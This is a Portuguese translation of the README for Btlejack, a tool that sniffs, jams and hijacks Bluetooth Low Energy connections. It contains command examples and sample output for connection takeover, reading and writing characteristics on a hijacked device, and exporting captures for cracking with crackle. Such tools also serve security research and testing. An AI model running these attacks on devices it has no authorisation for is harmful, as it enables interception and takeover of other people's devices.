
Canivete suíço para Bluetooth Low Energy
Btlejack: um novo canivete suíço para Bluetooth Low Energy ###########################################################
Btlejack fornece tudo que você precisa para farejar, atrapalhar e sequestrar dispositivos Bluetooth Low Energy. Ele depende de um ou mais dispositivos BBC Micro:Bit <http://microbit.org/>_ executando um firmware dedicado. Você também pode querer usar um Bluefruit LE sniffer da Adafruit <https://www.adafruit.com/product/2269>_ ou um Kit de Avaliação nRF51822 <https://www.waveshare.com/wiki/BLE400>_, pois adicionamos suporte para esses dispositivos.
A versão atual desta ferramenta (2.0) suporta BLE 4.x e 5.x. O suporte para BLE 5.x é limitado, pois suporta apenas a PHY não codificada de 1 Mbps e não suporta atualizações de mapa de canal.
Você precisa de um sistema baseado em UNIX (por exemplo, um Raspberry Pi). Se você usar o BBC Micro:Bit, precisará de um a três dispositivos Micro:Bit (três dispositivos recomendados) e, para cada dispositivo, uma porta USB livre. O consumo de energia de um Micro:Bit é bastante baixo, então você pode usar uma única porta USB e um hub passivo para alimentar as três unidades recomendadas.
Se você conectar 3 microbits ao mesmo tempo no seu computador, o Btlejack conseguirá farejar em todos os canais de anúncio e terá muito mais chance de capturar a solicitação de conexão.
Primeiro, instale o software cliente btlejack Python3 com o Pip:
::
$ sudo pip3 install btlejack
Em seguida, conecte seu dispositivo Micro:Bit ao computador com um cabo USB, monte o dispositivo de armazenamento em massa associado (o ponto de montagem deve conter MICROBIT) e execute o seguinte comando:
::
$ btlejack -i
Isso programará todos os dispositivos Micro:Bit conectados ao seu computador e os deixará prontos para uso com o Btlejack. Ele usará a versão correta do firmware para o software cliente atual, portanto, é altamente recomendável realizar este procedimento de instalação do firmware sempre que você atualizar o Btlejack.
Se você estiver usando um Bluefruit LE sniffer ou um Kit de Avaliação nRF51822, use um programador SWD externo para gravar seu dispositivo com este firmware <https://github.com/virtualabs/btlejack-firmware/raw/master/dist/btlejack-firmware-ble400.hex>_.
Mantenha seus dispositivos conectados e pronto!
NOTA Isso só funciona em sistemas compatíveis com posix.
Usar o Btlejack é bastante fácil. O Btlejack pode:
O Btlejack normalmente tenta detectar e usar automaticamente dispositivos compatíveis conectados (apenas Micro:Bit por enquanto), mas como o firmware pode ser hackeado ou modificado para funcionar com outras placas baseadas em nRF51822, ele fornece uma opção específica para permitir compatibilidade com esses dispositivos.
A opção -d permite que você especifique um ou mais dispositivos com o Btlejack. Observe que esta opção desabilitará a detecção automática de dispositivos, e você deve adicionar quantos dispositivos forem necessários:
::
$ btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s
Primeiro, encontre uma conexão existente para segmentar com btlejack:
::
$ btlejack -s BtleJack version 1.1
[i] Enumerating existing connections ... [ - 54 dBm] 0xcd91d517 | pkts: 1 [ - 46 dBm] 0xcd91d517 | pkts: 2
O primeiro valor (em dBm) mostra a potência do sinal; quanto maior for esse valor, melhor será a conexão farejada.
O segundo valor (hex) é o endereço de acesso associado, um valor de 32 bits que identifica um link entre dois dispositivos compatíveis com Bluetooth Low Energy.
O último valor é o número de pacotes vistos com este endereço de acesso. Quanto maior for esse valor, mais provável é que o endereço de acesso correspondente esteja em uso.
Em seguida, use a opção -f para seguir uma conexão específica:
::
$ btlejack -f 0xdda4845e BtleJack version 1.1
[i] Detected sniffers:
Sniffer #0: fw version 1.1
[i] Synchronizing with connection 0xdda4845e ... ✓ CRCInit: 0x2a035e ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 15 [i] Synchronized, packet capture in progress ... LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70 LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70
Se você estiver usando mais de 1 microbit, o Btlejack paralelizará algumas das operações de farejamento para acelerar a recuperação dos parâmetros de conexão!
A opção -c suportada por btlejack permite que você especifique o endereço BD alvo, ou você pode querer usar any para capturar qualquer nova conexão criada.
::
$ btlejack -c any BtleJack version 1.1
[i] Detected sniffers:
Sniffer #0: version 1.1 Sniffer #1: version 1.1 LL Data: 05 22 df b4 6f 95 c5 55 c0 0a f6 99 23 40 1d 7b 2f 0a 9a f4 93 01 12 00 27 00 00 00 d0 07 ff ff ff ff 1f 0b [i] Got CONNECT_REQ packet from 55:c5:95:6f:b4:df to 40:23:99:f6:0a:c0 |-- Access Address: 0x0a2f7b1d |-- CRC Init value: 0x93f49a |-- Hop interval: 39 |-- Hop increment: 11 |-- Channel Map: 1fffffffff |-- Timeout: 20000 ms
LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 0b 06 0c 08 0f 00 09 41 LL Data: 03 06 0c 07 1d 00 d3 07
ou você também pode querer especificar o endereço BD alvo:
::
$ btlejack -c 03:e1:f0:00:11:22
Uma vez que uma conexão é identificada por seu endereço de acesso, você pode atrapalhá-la usando a opção -j:
::
$ btlejack -f 0x129f3244 -j̀
O Btlejack também é capaz de sequestrar uma conexão existente; use a opção -t para isso. Uma vez sequestrada, o Btlejack fornecerá um prompt permitindo que você interaja com o dispositivo sequestrado.
Primeiro, sequestre uma conexão existente:
::
$ btlejack -f 0x9c68fd30 -t -m 0x1fffffffff BtleJack version 1.1
[i] Using cached parameters (created on 2018-08-11 01:48:24) [i] Detected sniffers:
Sniffer #0: fw version 1.1
[i] Synchronizing with connection 0x9c68fd30 ... ✓ CRCInit: 0x81f733 ✓ Channel map is provided: 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 9 [i] Synchronized, hijacking in progress ... [i] Connection successfully hijacked, it is all yours \o/ btlejack>
Em seguida, use os seguintes comandos para interagir com o dispositivo:
Comando discover ^^^^^^^^^^^^^^^^^^
O comando discover enviará e receberá pacotes Bluetooth LE e recuperará todos os UUIDs e parâmetros de serviços, bem como UUIDs e parâmetros de características:
::
btlejack> discover start: 0001 end: 0005 start: 0014 end: 001a start: 0028 end: ffff Discovered services: Service UUID: 1801 Characteristic UUID: 2a05 | handle: 0002 | properties: indicate (20) \ value handle: 0003
Service UUID: 1800 Characteristic UUID: 2a04 | handle: 0019 | properties: read (02) \ value handle: 001a
Characteristic UUID: 2a00 | handle: 0015 | properties: read (02) \ value handle: 0016
Characteristic UUID: 2a01 | handle: 0017 | properties: read (02) \ value handle: 0018
Service UUID: 1824 Characteristic UUID: 2abc | handle: 0029 | properties: write indicate (28) \ value handle: 002a
Comando read ^^^^^^^^^^^^^^
O comando read aceita um único parâmetro, o handle de valor correspondente à característica da qual você deseja ler:
::
btlejack> read 0x16 read>> 4c 47 20 77 65 62 4f 53 20 54 56
Comando write ^^^^^^^^^^^^^^^
O comando write aceita três parâmetros:
::
btlejack> write
Formatos de dados suportados:
hex: dados hexadecimais (ex.: "414261")str: string de texto, pode ser encapsulada em aspas duplasComando ll ^^^^^^^^^^^^
Este último comando permite que você envie PDUs de camada de link Bluetooth Low Energy, em formato hexadecimal, conforme especificado no Volume 6, Parte B, Capítulo 2.4.
Uma característica interessante do Btlejack é a possibilidade de exportar os dados capturados para um arquivo PCAP.
O Btlejack suporta os seguintes formatos DLT:
O arquivo de saída pode ser especificado usando a opção -o, enquanto o formato de saída pode ser especificado com a opção -x. Os valores de formato válidos são: ll_phdr, nordic ou pcap (padrão).
::
$ btlejack -f 0xac56bc12 -x nordic -o capture.nordic.pcap
O tipo de exportação ll_phdr é útil ao farejar uma conexão criptografada, pois também é suportado pelo crackle <https://github.com/mikeryan/crackle>_. Portanto, se você quiser farejar e quebrar conexões criptografadas, este é o caminho.
Você também pode precisar informar ao crackle para usar uma estratégia de quebra específica, usando a opção -s:
::
$ crackle -i some.pcap -s 1
O Btlejack usa um cache de conexão para armazenar alguns valores relacionados à conexão, a fim de acelerar um pouco as coisas. Este cache de conexão pode causar alguns problemas, especialmente se um endereço de acesso já foi visto anteriormente.
Este cache pode ser limpo com a opção -z:
::
$ btlejack -z
O Btlejack 2.0 introduz uma nova opção -w que permite especificar um caminho FIFO (existente ou não) para realizar análise ao vivo de pacotes:
::
$ btlejack -c any -w /tmp/blepipe
Você pode até usar um FIFO e um arquivo de saída ao mesmo tempo:
::
$ btlejack -c any -w /tmp/blepipe -o blepackets.pcap
Se você habilitou anteriormente a rede virtual por USB (RNDIS), por exemplo, para configurar um Raspberry Pi Zero W via USB, você precisa desabilitar isso novamente (ou seja, remova dtoverlay=dwc2 do boot/config.txt e modules-load=dwc2,g_ether do boot/cmdline.txt, depois execute sudo reboot), porque isso interferiria nas conexões USB dos farejadores.
Esta versão suporta Bluetooth Low Energy versões 5 e 5.1 e especialmente o novo algoritmo de seleção de canal introduzido na versão 5 (CSA #2). No entanto, como o hardware utilizado não suporta as duas novas PHYs adicionadas a partir da versão 5, ele só conseguirá farejar, atrapalhar e talvez sequestrar conexões usando a PHY não codificada de 1 Mbps.
Observe também que a implementação atual do CSA #2 incluída no Btlejack não suporta atualizações de mapa de canal, por enquanto.
O Btlejack detecta automaticamente o algoritmo de seleção de canal usado, então você não precisa se preocupar e apenas captura pacotes como de costume.
Farejar uma conexão BLE 5 existente (que usa a PHY não codificada de 1 Mbps, e apenas esta PHY) não é tão difícil. Primeiro, você deve especificar que deseja segmentar uma conexão BLE 5, usando a opção -5. Observe que não há como saber se uma conexão existente usa CSA #2 ou CSA #1, então você precisa tentar ambas as técnicas até que uma funcione.
::
$ btlejack -f 0x11223344 -5
O Btlejack então recuperará o mapa de canal usado e, em seguida, o valor do intervalo de salto:
::
$ btlejack -f 0x11223344 -5 [i] Synchronizing with connection 0x11223344 ... ✓ CRCInit: 0x40d64f ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 160
Ele tentará então recuperar o valor do contador PRNG desta conexão:
::
$ btlejack -f 0x11223344 -5 [i] Synchronizing with connection 0x11223344 ... ✓ CRCInit: 0x40d64f ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 160 ✓ CSA2 PRNG counter = 5137 [i] Synchronized, packet capture in progress ...
Uma vez feito isso, o Btlejack está sincronizado com esta conexão e processará pacotes como de costume.
Nada de novo aqui, exceto que você deve especificar que está atacando uma conexão BLE 5, usando a opção -5.
Observe que você pode otimizar este ataque especificando também o mapa de canal e o valor do intervalo de salto a serem usados, usando respectivamente as flags -m e -p. Ambos DEVEM ser fornecidos, caso contrário, não funcionará.
Não consegui sequestrar uma conexão BLE 5 neste momento, pois este ataque é sensível ao tempo. Meus dispositivos BLE 5 usam uma latência de 0, não permitindo nenhum atraso e fazendo com que este ataque falhe.
Quando eu conseguir colocar as mãos em alguns dispositivos BLE 5 legítimos, melhorarei isso.